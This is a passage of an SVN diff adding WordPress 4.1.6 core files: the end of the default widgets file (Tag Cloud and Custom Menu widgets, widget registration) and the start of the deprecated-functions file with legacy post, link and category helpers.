+	$show_summary  = isset( $widget_rss['show_summary'] ) ? (int) $widget_rss['show_summary'] : 0;
+	$show_author   = isset( $widget_rss['show_author'] ) ? (int) $widget_rss['show_author'] :0;
+	$show_date     = isset( $widget_rss['show_date'] ) ? (int) $widget_rss['show_date'] : 0;
+
+	if ( $check_feed ) {
+		$rss = fetch_feed($url);
+		$error = false;
+		$link = '';
+		if ( is_wp_error($rss) ) {
+			$error = $rss->get_error_message();
+		} else {
+			$link = esc_url(strip_tags($rss->get_permalink()));
+			while ( stristr($link, 'http') != $link )
+				$link = substr($link, 1);
+
+			$rss->__destruct();
+			unset($rss);
+		}
+	}
+
+	return compact( 'title', 'url', 'link', 'items', 'error', 'show_summary', 'show_author', 'show_date' );
+}
+
+/**
+ * Tag cloud widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Tag_Cloud extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array( 'description' => __( "A cloud of your most used tags.") );
+		parent::__construct('tag_cloud', __('Tag Cloud'), $widget_ops);
+	}
+
+	public function widget( $args, $instance ) {
+		$current_taxonomy = $this->_get_current_taxonomy($instance);
+		if ( !empty($instance['title']) ) {
+			$title = $instance['title'];
+		} else {
+			if ( 'post_tag' == $current_taxonomy ) {
+				$title = __('Tags');
+			} else {
+				$tax = get_taxonomy($current_taxonomy);
+				$title = $tax->labels->name;
+			}
+		}
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+		echo '<div class="tagcloud">';
+
+		/**
+		 * Filter the taxonomy used in the Tag Cloud widget.
+		 *
+		 * @since 2.8.0
+		 * @since 3.0.0 Added taxonomy drop-down.
+		 *
+		 * @see wp_tag_cloud()
+		 *
+		 * @param array $current_taxonomy The taxonomy to use in the tag cloud. Default 'tags'.
+		 */
+		wp_tag_cloud( apply_filters( 'widget_tag_cloud_args', array(
+			'taxonomy' => $current_taxonomy
+		) ) );
+
+		echo "</div>\n";
+		echo $args['after_widget'];
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance['title'] = strip_tags(stripslashes($new_instance['title']));
+		$instance['taxonomy'] = stripslashes($new_instance['taxonomy']);
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		$current_taxonomy = $this->_get_current_taxonomy($instance);
+?>
+	<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:') ?></label>
+	<input type="text" class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" value="<?php if (isset ( $instance['title'])) {echo esc_attr( $instance['title'] );} ?>" /></p>
+	<p><label for="<?php echo $this->get_field_id('taxonomy'); ?>"><?php _e('Taxonomy:') ?></label>
+	<select class="widefat" id="<?php echo $this->get_field_id('taxonomy'); ?>" name="<?php echo $this->get_field_name('taxonomy'); ?>">
+	<?php foreach ( get_taxonomies() as $taxonomy ) :
+				$tax = get_taxonomy($taxonomy);
+				if ( !$tax->show_tagcloud || empty($tax->labels->name) )
+					continue;
+	?>
+		<option value="<?php echo esc_attr($taxonomy) ?>" <?php selected($taxonomy, $current_taxonomy) ?>><?php echo $tax->labels->name; ?></option>
+	<?php endforeach; ?>
+	</select></p><?php
+	}
+
+	public function _get_current_taxonomy($instance) {
+		if ( !empty($instance['taxonomy']) && taxonomy_exists($instance['taxonomy']) )
+			return $instance['taxonomy'];
+
+		return 'post_tag';
+	}
+}
+
+/**
+ * Navigation Menu widget class
+ *
+ * @since 3.0.0
+ */
+ class WP_Nav_Menu_Widget extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array( 'description' => __('Add a custom menu to your sidebar.') );
+		parent::__construct( 'nav_menu', __('Custom Menu'), $widget_ops );
+	}
+
+	public function widget($args, $instance) {
+		// Get menu
+		$nav_menu = ! empty( $instance['nav_menu'] ) ? wp_get_nav_menu_object( $instance['nav_menu'] ) : false;
+
+		if ( !$nav_menu )
+			return;
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$instance['title'] = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );
+
+		echo $args['before_widget'];
+
+		if ( !empty($instance['title']) )
+			echo $args['before_title'] . $instance['title'] . $args['after_title'];
+
+		wp_nav_menu( array( 'fallback_cb' => '', 'menu' => $nav_menu ) );
+
+		echo $args['after_widget'];
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = array();
+		if ( ! empty( $new_instance['title'] ) ) {
+			$instance['title'] = strip_tags( stripslashes($new_instance['title']) );
+		}
+		if ( ! empty( $new_instance['nav_menu'] ) ) {
+			$instance['nav_menu'] = (int) $new_instance['nav_menu'];
+		}
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		$title = isset( $instance['title'] ) ? $instance['title'] : '';
+		$nav_menu = isset( $instance['nav_menu'] ) ? $instance['nav_menu'] : '';
+
+		// Get menus
+		$menus = wp_get_nav_menus();
+
+		// If no menus exists, direct the user to go and create some.
+		if ( !$menus ) {
+			echo '<p>'. sprintf( __('No menus have been created yet. <a href="%s">Create some</a>.'), admin_url('nav-menus.php') ) .'</p>';
+			return;
+		}
+		?>
+		<p>
+			<label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:') ?></label>
+			<input type="text" class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" value="<?php echo $title; ?>" />
+		</p>
+		<p>
+			<label for="<?php echo $this->get_field_id('nav_menu'); ?>"><?php _e('Select Menu:'); ?></label>
+			<select id="<?php echo $this->get_field_id('nav_menu'); ?>" name="<?php echo $this->get_field_name('nav_menu'); ?>">
+				<option value="0"><?php _e( '&mdash; Select &mdash;' ) ?></option>
+		<?php
+			foreach ( $menus as $menu ) {
+				echo '<option value="' . $menu->term_id . '"'
+					. selected( $nav_menu, $menu->term_id, false )
+					. '>'. esc_html( $menu->name ) . '</option>';
+			}
+		?>
+			</select>
+		</p>
+		<?php
+	}
+}
+
+/**
+ * Register all of the default WordPress widgets on startup.
+ *
+ * Calls 'widgets_init' action after all of the WordPress widgets have been
+ * registered.
+ *
+ * @since 2.2.0
+ */
+function wp_widgets_init() {
+	if ( !is_blog_installed() )
+		return;
+
+	register_widget('WP_Widget_Pages');
+
+	register_widget('WP_Widget_Calendar');
+
+	register_widget('WP_Widget_Archives');
+
+	if ( get_option( 'link_manager_enabled' ) )
+		register_widget('WP_Widget_Links');
+
+	register_widget('WP_Widget_Meta');
+
+	register_widget('WP_Widget_Search');
+
+	register_widget('WP_Widget_Text');
+
+	register_widget('WP_Widget_Categories');
+
+	register_widget('WP_Widget_Recent_Posts');
+
+	register_widget('WP_Widget_Recent_Comments');
+
+	register_widget('WP_Widget_RSS');
+
+	register_widget('WP_Widget_Tag_Cloud');
+
+	register_widget('WP_Nav_Menu_Widget');
+
+	/**
+	 * Fires after all default WordPress widgets have been registered.
+	 *
+	 * @since 2.2.0
+	 */
+	do_action( 'widgets_init' );
+}
+
+add_action('init', 'wp_widgets_init', 1);
Index: /tags/4.1.6/src/wp-includes/deprecated.php
===================================================================
--- /tags/4.1.6/src/wp-includes/deprecated.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/deprecated.php	(revision 33402)
@@ -0,0 +1,3494 @@
+<?php
+/**
+ * Deprecated functions from past WordPress versions. You shouldn't use these
+ * functions and look for the alternatives instead. The functions will be
+ * removed in a later version.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ */
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+/**
+ * Entire Post data.
+ *
+ * @since 0.71
+ * @deprecated 1.5.1
+ * @deprecated Use get_post()
+ * @see get_post()
+ *
+ * @param int $postid
+ * @return array
+ */
+function get_postdata($postid) {
+	_deprecated_function( __FUNCTION__, '1.5.1', 'get_post()' );
+
+	$post = get_post($postid);
+
+	$postdata = array (
+		'ID' => $post->ID,
+		'Author_ID' => $post->post_author,
+		'Date' => $post->post_date,
+		'Content' => $post->post_content,
+		'Excerpt' => $post->post_excerpt,
+		'Title' => $post->post_title,
+		'Category' => $post->post_category,
+		'post_status' => $post->post_status,
+		'comment_status' => $post->comment_status,
+		'ping_status' => $post->ping_status,
+		'post_password' => $post->post_password,
+		'to_ping' => $post->to_ping,
+		'pinged' => $post->pinged,
+		'post_type' => $post->post_type,
+		'post_name' => $post->post_name
+	);
+
+	return $postdata;
+}
+
+/**
+ * Sets up the WordPress Loop.
+ *
+ * @since 1.0.1
+ * @deprecated 1.5.0
+ * @deprecated Use The Loop - {@link http://codex.wordpress.org/The_Loop Use new WordPress Loop}
+ */
+function start_wp() {
+	global $wp_query;
+
+	_deprecated_function( __FUNCTION__, '1.5', __('new WordPress Loop') );
+
+	// Since the old style loop is being used, advance the query iterator here.
+	$wp_query->next_post();
+
+	setup_postdata( get_post() );
+}
+
+/**
+ * Return or Print Category ID.
+ *
+ * @since 0.71
+ * @deprecated 0.71
+ * @deprecated use get_the_category()
+ * @see get_the_category()
+ *
+ * @param bool $echo
+ * @return null|int
+ */
+function the_category_ID($echo = true) {
+	_deprecated_function( __FUNCTION__, '0.71', 'get_the_category()' );
+
+	// Grab the first cat in the list.
+	$categories = get_the_category();
+	$cat = $categories[0]->term_id;
+
+	if ( $echo )
+		echo $cat;
+
+	return $cat;
+}
+
+/**
+ * Print category with optional text before and after.
+ *
+ * @since 0.71
+ * @deprecated 0.71
+ * @deprecated use get_the_category_by_ID()
+ * @see get_the_category_by_ID()
+ *
+ * @param string $before
+ * @param string $after
+ */
+function the_category_head($before='', $after='') {
+	global $currentcat, $previouscat;
+
+	_deprecated_function( __FUNCTION__, '0.71', 'get_the_category_by_ID()' );
+
+	// Grab the first cat in the list.
+	$categories = get_the_category();
+	$currentcat = $categories[0]->category_id;
+	if ( $currentcat != $previouscat ) {
+		echo $before;
+		echo get_the_category_by_ID($currentcat);
+		echo $after;
+		$previouscat = $currentcat;
+	}
+}
+
+/**
+ * Prints link to the previous post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use previous_post_link()
+ * @see previous_post_link()
+ *
+ * @param string $format
+ * @param string $previous
+ * @param string $title
+ * @param string $in_same_cat
+ * @param int $limitprev
+ * @param string $excluded_categories
+ */
+function previous_post($format='%', $previous='previous post: ', $title='yes', $in_same_cat='no', $limitprev=1, $excluded_categories='') {
+
+	_deprecated_function( __FUNCTION__, '2.0', 'previous_post_link()' );
+
+	if ( empty($in_same_cat) || 'no' == $in_same_cat )
+		$in_same_cat = false;
+	else
+		$in_same_cat = true;
+
+	$post = get_previous_post($in_same_cat, $excluded_categories);
+
+	if ( !$post )
+		return;
+
+	$string = '<a href="'.get_permalink($post->ID).'">'.$previous;
+	if ( 'yes' == $title )
+		$string .= apply_filters('the_title', $post->post_title, $post->ID);
+	$string .= '</a>';
+	$format = str_replace('%', $string, $format);
+	echo $format;
+}
+
+/**
+ * Prints link to the next post.
+ *
+ * @since 0.71
+ * @deprecated 2.0.0
+ * @deprecated Use next_post_link()
+ * @see next_post_link()
+ *
+ * @param string $format
+ * @param string $next
+ * @param string $title
+ * @param string $in_same_cat
+ * @param int $limitnext
+ * @param string $excluded_categories
+ */
+function next_post($format='%', $next='next post: ', $title='yes', $in_same_cat='no', $limitnext=1, $excluded_categories='') {
+	_deprecated_function( __FUNCTION__, '2.0', 'next_post_link()' );
+
+	if ( empty($in_same_cat) || 'no' == $in_same_cat )
+		$in_same_cat = false;
+	else
+		$in_same_cat = true;
+
+	$post = get_next_post($in_same_cat, $excluded_categories);
+
+	if ( !$post	)
+		return;
+
+	$string = '<a href="'.get_permalink($post->ID).'">'.$next;
+	if ( 'yes' == $title )
+		$string .= apply_filters('the_title', $post->post_title, $post->ID);
+	$string .= '</a>';
+	$format = str_replace('%', $string, $format);
+	echo $format;
+}
+
+/**
+ * Whether user can create a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
+function user_can_create_post($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	return ($author_data->user_level > 1);
+}
+
+/**
+ * Whether user can create a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
+function user_can_create_draft($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	return ($author_data->user_level >= 1);
+}
+
+/**
+ * Whether user can edit a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool
+ */
+function user_can_edit_post($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	$post = get_post($post_id);
+	$post_author_data = get_userdata($post->post_author);
+
+	if ( (($user_id == $post_author_data->ID) && !($post->post_status == 'publish' && $author_data->user_level < 2))
+			 || ($author_data->user_level > $post_author_data->user_level)
+			 || ($author_data->user_level >= 10) ) {
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool
+ */
+function user_can_delete_post($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	// right now if one can edit, one can delete
+	return user_can_edit_post($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Whether user can set new posts' dates.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $blog_id Not Used
+ * @param int $category_id Not Used
+ * @return bool
+ */
+function user_can_set_post_date($user_id, $blog_id = 1, $category_id = 'None') {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	return (($author_data->user_level > 4) && user_can_create_post($user_id, $blog_id, $category_id));
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can edit $post_id's date
+ */
+function user_can_edit_post_date($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	$author_data = get_userdata($user_id);
+	return (($author_data->user_level > 4) && user_can_edit_post($user_id, $post_id, $blog_id));
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can edit $post_id's comments
+ */
+function user_can_edit_post_comments($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	// right now if one can edit a post, one can edit comments made on it
+	return user_can_edit_post($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Whether user can delete a post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $post_id
+ * @param int $blog_id Not Used
+ * @return bool returns true if $user_id can delete $post_id's comments
+ */
+function user_can_delete_post_comments($user_id, $post_id, $blog_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	// right now if one can edit comments, one can delete comments
+	return user_can_edit_post_comments($user_id, $post_id, $blog_id);
+}
+
+/**
+ * Can user can edit other user.
+ *
+ * @since 1.5.0
+ * @deprecated 2.0.0
+ * @deprecated Use current_user_can()
+ * @see current_user_can()
+ *
+ * @param int $user_id
+ * @param int $other_user
+ * @return bool
+ */
+function user_can_edit_user($user_id, $other_user) {
+	_deprecated_function( __FUNCTION__, '2.0', 'current_user_can()' );
+
+	$user  = get_userdata($user_id);
+	$other = get_userdata($other_user);
+	if ( $user->user_level > $other->user_level || $user->user_level > 8 || $user->ID == $other->ID )
+		return true;
+	else
+		return false;
+}
+
+/**
+ * Gets the links associated with category $cat_name.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param string $cat_name Optional. The category name to use. If no match is found uses all.
+ * @param string $before Optional. The html to output before the link.
+ * @param string $after Optional. The html to output after the link.
+ * @param string $between Optional. The html to output between the link/image and its description. Not used if no image or $show_images is true.
+ * @param bool $show_images Optional. Whether to show images (if defined).
+ * @param string $orderby Optional. The order to output the links. E.g. 'id', 'name', 'url', 'description' or 'rating'. Or maybe owner.
+ *		If you start the name with an underscore the order will be reversed. You can also specify 'rand' as the order which will return links in a
+ *		random order.
+ * @param bool $show_description Optional. Whether to show the description if show_images=false/not defined.
+ * @param bool $show_rating Optional. Show rating stars/chars.
+ * @param int $limit		Optional. Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Optional. Whether to show last updated timestamp
+ */
+function get_linksbyname($cat_name = "noname", $before = '', $after = '<br />', $between = " ", $show_images = true, $orderby = 'id',
+						 $show_description = true, $show_rating = false,
+						 $limit = -1, $show_updated = 0) {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_bookmarks()' );
+
+	$cat_id = -1;
+	$cat = get_term_by('name', $cat_name, 'link_category');
+	if ( $cat )
+		$cat_id = $cat->term_id;
+
+	get_links($cat_id, $before, $after, $between, $show_images, $orderby, $show_description, $show_rating, $limit, $show_updated);
+}
+
+/**
+ * Gets the links associated with the named category.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use wp_list_bookmarks()
+ * @see wp_list_bookmarks()
+ *
+ * @param string $category The category to use.
+ * @param string $args
+ * @return string|null
+ */
+function wp_get_linksbyname($category, $args = '') {
+	_deprecated_function(__FUNCTION__, '2.1', 'wp_list_bookmarks()');
+
+	$defaults = array(
+		'after' => '<br />',
+		'before' => '',
+		'categorize' => 0,
+		'category_after' => '',
+		'category_before' => '',
+		'category_name' => $category,
+		'show_description' => 1,
+		'title_li' => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	return wp_list_bookmarks($r);
+}
+
+/**
+ * Gets an array of link objects associated with category $cat_name.
+ *
+ *     $links = get_linkobjectsbyname( 'fred' );
+ *     foreach ( $links as $link ) {
+ *      	echo '<li>' . $link->link_name . '</li>';
+ *     }
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param string $cat_name The category name to use. If no match is found uses all.
+ * @param string $orderby The order to output the links. E.g. 'id', 'name', 'url', 'description', or 'rating'.
+ *		Or maybe owner. If you start the name with an underscore the order will be reversed. You can also
+ *		specify 'rand' as the order which will return links in a random order.
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @return array
+ */
+function get_linkobjectsbyname($cat_name = "noname" , $orderby = 'name', $limit = -1) {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_bookmarks()' );
+
+	$cat_id = -1;
+	$cat = get_term_by('name', $cat_name, 'link_category');
+	if ( $cat )
+		$cat_id = $cat->term_id;
+
+	return get_linkobjects($cat_id, $orderby, $limit);
+}
+
+/**
+ * Gets an array of link objects associated with category n.
+ *
+ * Usage:
+ *
+ *     $links = get_linkobjects(1);
+ *     if ($links) {
+ *     	foreach ($links as $link) {
+ *     		echo '<li>'.$link->link_name.'<br />'.$link->link_description.'</li>';
+ *     	}
+ *     }
+ *
+ * Fields are:
+ *
+ * - link_id
+ * - link_url
+ * - link_name
+ * - link_image
+ * - link_target
+ * - link_category
+ * - link_description
+ * - link_visible
+ * - link_owner
+ * - link_rating
+ * - link_updated
+ * - link_rel
+ * - link_notes
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @return array
+ */
+function get_linkobjects($category = 0, $orderby = 'name', $limit = 0) {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_bookmarks()' );
+
+	$links = get_bookmarks( array( 'category' => $category, 'orderby' => $orderby, 'limit' => $limit ) ) ;
+
+	$links_array = array();
+	foreach ($links as $link)
+		$links_array[] = $link;
+
+	return $links_array;
+}
+
+/**
+ * Gets the links associated with category 'cat_name' and display rating stars/chars.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param string $cat_name The category name to use. If no match is found uses all
+ * @param string $before The html to output before the link
+ * @param string $after The html to output after the link
+ * @param string $between The html to output between the link/image and its description. Not used if no image or show_images is true
+ * @param bool $show_images Whether to show images (if defined).
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param bool $show_description Whether to show the description if show_images=false/not defined
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Whether to show last updated timestamp
+ */
+function get_linksbyname_withrating($cat_name = "noname", $before = '', $after = '<br />', $between = " ",
+									$show_images = true, $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_bookmarks()' );
+
+	get_linksbyname($cat_name, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
+}
+
+/**
+ * Gets the links associated with category n and display rating stars/chars.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $before The html to output before the link
+ * @param string $after The html to output after the link
+ * @param string $between The html to output between the link/image and its description. Not used if no image or show_images == true
+ * @param bool $show_images Whether to show images (if defined).
+ * @param string $orderby The order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the
+ *		order which will return links in a random order.
+ * @param bool $show_description Whether to show the description if show_images=false/not defined.
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated Whether to show last updated timestamp
+ */
+function get_links_withrating($category = -1, $before = '', $after = '<br />', $between = " ", $show_images = true,
+							  $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_bookmarks()' );
+
+	get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
+}
+
+/**
+ * Gets the auto_toggle setting.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated No alternative function available
+ *
+ * @param int $id The category to get. If no category supplied uses 0
+ * @return int Only returns 0.
+ */
+function get_autotoggle($id = 0) {
+	_deprecated_function( __FUNCTION__, '2.1' );
+	return 0;
+}
+
+/**
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use wp_list_categories()
+ * @see wp_list_categories()
+ *
+ * @param int $optionall
+ * @param string $all
+ * @param string $sort_column
+ * @param string $sort_order
+ * @param string $file
+ * @param bool $list
+ * @param int $optiondates
+ * @param int $optioncount
+ * @param int $hide_empty
+ * @param int $use_desc_for_title
+ * @param bool $children
+ * @param int $child_of
+ * @param int $categories
+ * @param int $recurse
+ * @param string $feed
+ * @param string $feed_image
+ * @param string $exclude
+ * @param bool $hierarchical
+ * @return false|null
+ */
+function list_cats($optionall = 1, $all = 'All', $sort_column = 'ID', $sort_order = 'asc', $file = '', $list = true, $optiondates = 0,
+				   $optioncount = 0, $hide_empty = 1, $use_desc_for_title = 1, $children=false, $child_of=0, $categories=0,
+				   $recurse=0, $feed = '', $feed_image = '', $exclude = '', $hierarchical=false) {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_list_categories()' );
+
+	$query = compact('optionall', 'all', 'sort_column', 'sort_order', 'file', 'list', 'optiondates', 'optioncount', 'hide_empty', 'use_desc_for_title', 'children',
+		'child_of', 'categories', 'recurse', 'feed', 'feed_image', 'exclude', 'hierarchical');
+	return wp_list_cats($query);
+}
+
+/**
+ * @since 1.2.0
+ * @deprecated 2.1.0
+ * @deprecated Use wp_list_categories()
+ * @see wp_list_categories()
+ *
+ * @param string|array $args
+ * @return false|null|string
+ */
+function wp_list_cats($args = '') {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_list_categories()' );
+
+	$r = wp_parse_args( $args );
+
+	// Map to new names.
+	if ( isset($r['optionall']) && isset($r['all']))
+		$r['show_option_all'] = $r['all'];
+	if ( isset($r['sort_column']) )
+		$r['orderby'] = $r['sort_column'];
+	if ( isset($r['sort_order']) )
+		$r['order'] = $r['sort_order'];
+	if ( isset($r['optiondates']) )
+		$r['show_last_update'] = $r['optiondates'];
+	if ( isset($r['optioncount']) )
+		$r['show_count'] = $r['optioncount'];
+	if ( isset($r['list']) )
+		$r['style'] = $r['list'] ? 'list' : 'break';
+	$r['title_li'] = '';
+
+	return wp_list_categories($r);
+}
+
+/**
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use wp_dropdown_categories()
+ * @see wp_dropdown_categories()
+ *
+ * @param int $optionall
+ * @param string $all
+ * @param string $orderby
+ * @param string $order
+ * @param int $show_last_update
+ * @param int $show_count
+ * @param int $hide_empty
+ * @param bool $optionnone
+ * @param int $selected
+ * @param int $exclude
+ * @return string
+ */
+function dropdown_cats($optionall = 1, $all = 'All', $orderby = 'ID', $order = 'asc',
+		$show_last_update = 0, $show_count = 0, $hide_empty = 1, $optionnone = false,
+		$selected = 0, $exclude = 0) {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_dropdown_categories()' );
+
+	$show_option_all = '';
+	if ( $optionall )
+		$show_option_all = $all;
+
+	$show_option_none = '';
+	if ( $optionnone )
+		$show_option_none = __('None');
+
+	$vars = compact('show_option_all', 'show_option_none', 'orderby', 'order',
+					'show_last_update', 'show_count', 'hide_empty', 'selected', 'exclude');
+	$query = add_query_arg($vars, '');
+	return wp_dropdown_categories($query);
+}
+
+/**
+ * List authors.
+ *
+ * @since 1.2.0
+ * @deprecated 2.1.0
+ * @deprecated Use wp_list_authors()
+ * @see wp_list_authors()
+ *
+ * @param bool $optioncount
+ * @param bool $exclude_admin
+ * @param bool $show_fullname
+ * @param bool $hide_empty
+ * @param string $feed
+ * @param string $feed_image
+ * @return null|string
+ */
+function list_authors($optioncount = false, $exclude_admin = true, $show_fullname = false, $hide_empty = true, $feed = '', $feed_image = '') {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_list_authors()' );
+
+	$args = compact('optioncount', 'exclude_admin', 'show_fullname', 'hide_empty', 'feed', 'feed_image');
+	return wp_list_authors($args);
+}
+
+/**
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use wp_get_post_categories()
+ * @see wp_get_post_categories()
+ *
+ * @param int $blogid Not Used
+ * @param int $post_ID
+ * @return array
+ */
+function wp_get_post_cats($blogid = '1', $post_ID = 0) {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_get_post_categories()' );
+	return wp_get_post_categories($post_ID);
+}
+
+/**
+ * Sets the categories that the post id belongs to.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use wp_set_post_categories()
+ * @see wp_set_post_categories()
+ *
+ * @param int $blogid Not used
+ * @param int $post_ID
+ * @param array $post_categories
+ * @return bool|mixed
+ */
+function wp_set_post_cats($blogid = '1', $post_ID = 0, $post_categories = array()) {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_set_post_categories()' );
+	return wp_set_post_categories($post_ID, $post_categories);
+}
+
+/**
+ * @since 0.71
+ * @deprecated 2.1.0
+ * @deprecated Use wp_get_archives()
+ * @see wp_get_archives()
+ *
+ * @param string $type
+ * @param string $limit
+ * @param string $format
+ * @param string $before
+ * @param string $after
+ * @param bool $show_post_count
+ * @return string|null
+ */
+function get_archives($type='', $limit='', $format='html', $before = '', $after = '', $show_post_count = false) {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_get_archives()' );
+	$args = compact('type', 'limit', 'format', 'before', 'after', 'show_post_count');
+	return wp_get_archives($args);
+}
+
+/**
+ * Returns or Prints link to the author's posts.
+ *
+ * @since 1.2.0
+ * @deprecated 2.1.0
+ * @deprecated Use get_author_posts_url()
+ * @see get_author_posts_url()
+ *
+ * @param bool $echo
+ * @param int $author_id
+ * @param string $author_nicename Optional.
+ * @return string|null
+ */
+function get_author_link($echo, $author_id, $author_nicename = '') {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_author_posts_url()' );
